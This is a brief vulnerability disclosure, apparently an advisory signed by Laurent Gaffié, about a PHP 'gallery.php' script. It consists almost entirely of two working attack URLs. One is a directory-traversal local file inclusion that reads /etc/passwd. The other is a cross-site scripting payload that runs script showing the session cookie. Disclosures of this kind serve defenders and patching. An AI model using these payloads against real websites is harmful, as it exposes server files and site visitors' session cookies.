local file include:
/gallery.php?f=../../../../../../../../../../../../etc/passwd

xss via php error :
/gallery.php?f=</textarea>'"><script>alert(document.cookie)</script>

regards laurent gaffié